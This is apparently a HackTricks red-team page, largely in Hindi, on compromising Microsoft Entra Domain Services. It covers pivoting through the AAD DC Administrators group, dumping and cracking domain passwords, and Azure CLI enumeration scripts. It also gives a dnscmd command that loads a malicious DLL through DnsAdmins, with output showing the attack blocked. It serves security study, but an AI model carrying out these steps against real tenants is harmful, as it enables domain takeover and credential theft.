Az - Microsoft Entra Domain Services

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Domain Services

Microsoft Entra Domain Services आपको Azure में एक Active Directory तैनात करने की अनुमति देता है बिना Domain Controllers का प्रबंधन किए (वास्तव में, आपके पास उनके लिए भी पहुंच नहीं है)।

इसका मुख्य उद्देश्य आपको क्लाउड में पुराने अनुप्रयोगों को चलाने की अनुमति देना है जो आधुनिक प्रमाणीकरण विधियों का उपयोग नहीं कर सकते, या जहां आप नहीं चाहते कि निर्देशिका लुकअप हमेशा ऑन-प्रिमाइसेस AD DS वातावरण में वापस जाएं।

ध्यान दें कि Entra ID में उत्पन्न उपयोगकर्ताओं को (और अन्य सक्रिय निर्देशिकाओं से समन्वयित नहीं) AD डोमेन सेवा में समन्वयित करने के लिए आपको उपयोगकर्ता का पासवर्ड एक नए में बदलना होगा ताकि इसे नए AD के साथ समन्वयित किया जा सके। वास्तव में, उपयोगकर्ता का समन्वय Microsoft Entra ID से Domain Services में तब तक नहीं होता जब तक पासवर्ड नहीं बदला जाता।

warning

भले ही आप एक नया सक्रिय निर्देशिका डोमेन बना रहे हों, आप इसे पूरी तरह से प्रबंधित नहीं कर पाएंगे (कुछ गलत कॉन्फ़िगरेशन का लाभ उठाने के बिना), जिसका अर्थ है कि डिफ़ॉल्ट रूप से उदाहरण के लिए आप AD में सीधे उपयोगकर्ता नहीं बना सकते। आप उन्हें Entra ID से उपयोगकर्ताओं का समन्वयित करके बनाते हैं। आप सभी उपयोगकर्ताओं को समन्वयित करने का संकेत दे सकते हैं (यहां तक कि उन लोगों को जो अन्य ऑन-प्रिमाइसेस AD से समन्वयित हैं), केवल क्लाउड उपयोगकर्ताओं (Entra ID में बनाए गए उपयोगकर्ता), या यहां तक कि उन्हें और अधिक फ़िल्टर करें

note

सामान्यतः, नए डोमेन की कॉन्फ़िगरेशन में लचीलापन की कमी और तथ्य यह है कि AD आमतौर पर पहले से ही ऑन-प्रिमाइसेस होते हैं, यह Entra ID और AD के बीच मुख्य एकीकरण नहीं है, लेकिन फिर भी इसे समझना दिलचस्प है कि इसे कैसे समझौता किया जा सकता है।

Pivoting

उत्पन्न AAD DC Administrators समूह के सदस्यों को प्रबंधित डोमेन से जुड़े VMs पर स्थानीय व्यवस्थापक अनुमतियाँ दी जाती हैं (लेकिन डोमेन नियंत्रकों में नहीं) क्योंकि उन्हें स्थानीय व्यवस्थापक समूह में जोड़ा जाता है। इस समूह के सदस्य Remote Desktop का उपयोग करके डोमेन-जोड़े गए VMs से दूरस्थ रूप से कनेक्ट कर सकते हैं, और ये समूहों के भी सदस्य हैं:

  • Denied RODC Password Replication Group: यह एक समूह है जो उन उपयोगकर्ताओं और समूहों को निर्दिष्ट करता है जिनके पासवर्ड RODCs (Read-Only Domain Controllers) पर कैश नहीं किए जा सकते।
  • Group Policy Creators Owners: यह समूह सदस्यों को डोमेन में समूह नीतियाँ बनाने की अनुमति देता है। हालाँकि, इसके सदस्य उपयोगकर्ताओं या समूहों पर समूह नीतियाँ लागू नहीं कर सकते या मौजूदा GPOs को संपादित नहीं कर सकते, इसलिए यह इस वातावरण में इतना दिलचस्प नहीं है।
  • DnsAdmins: यह समूह DNS सेटिंग्स का प्रबंधन करने की अनुमति देता है और अतीत में अधिकार बढ़ाने और डोमेन को समझौता करने के लिए दुरुपयोग किया गया था, हालाँकि इस वातावरण में हमले का परीक्षण करने के बाद यह जांचा गया कि भेद्यता पैच की गई है:
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

ध्यान दें कि इन अनुमतियों को देने के लिए, AD के अंदर AAD DC Administrators समूह को पिछले समूहों का सदस्य बनाया गया है, और साथ ही GPO AADDC Computers GPO सभी सदस्यों को स्थानीय प्रशासकों के रूप में जोड़ रहा है जो डोमेन समूह AAD DC Administrators के हैं।

Entra ID से Domain Services के साथ बनाए गए AD में पिवोट करना सीधा है, बस AAD DC Administrators समूह में एक उपयोगकर्ता जोड़ें, डोमेन में किसी भी/सभी मशीनों पर RDP के माध्यम से पहुंचें और आप डेटा चुरा सकेंगे और साथ ही डोमेन को भी समझौता कर सकेंगे।

हालांकि, डोमेन से Entra ID में पिवोट करना इतना आसान नहीं है क्योंकि डोमेन से कुछ भी Entra ID में समन्वयित नहीं हो रहा है। हालांकि, हमेशा सभी VMs के मेटाडेटा की जांच करें जो उनके असाइन किए गए प्रबंधित पहचान के रूप में दिलचस्प अनुमतियाँ हो सकती हैं। साथ ही डोमेन से सभी उपयोगकर्ताओं के पासवर्ड को डंप करें और उन्हें क्रैक करने की कोशिश करें ताकि फिर Entra ID / Azure में लॉगिन किया जा सके।

note

ध्यान दें कि अतीत में इस प्रबंधित AD में अन्य कमजोरियाँ पाई गई थीं जो DCs को समझौता करने की अनुमति देती थीं, जैसे कि यह। एक हमलावर जो DC को समझौता करता है, बहुत आसानी से स्थिरता बनाए रख सकता है बिना Azure प्रशासकों को नोटिस किए या यहां तक कि इसे हटाने में सक्षम हुए बिना।

Enumeration

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें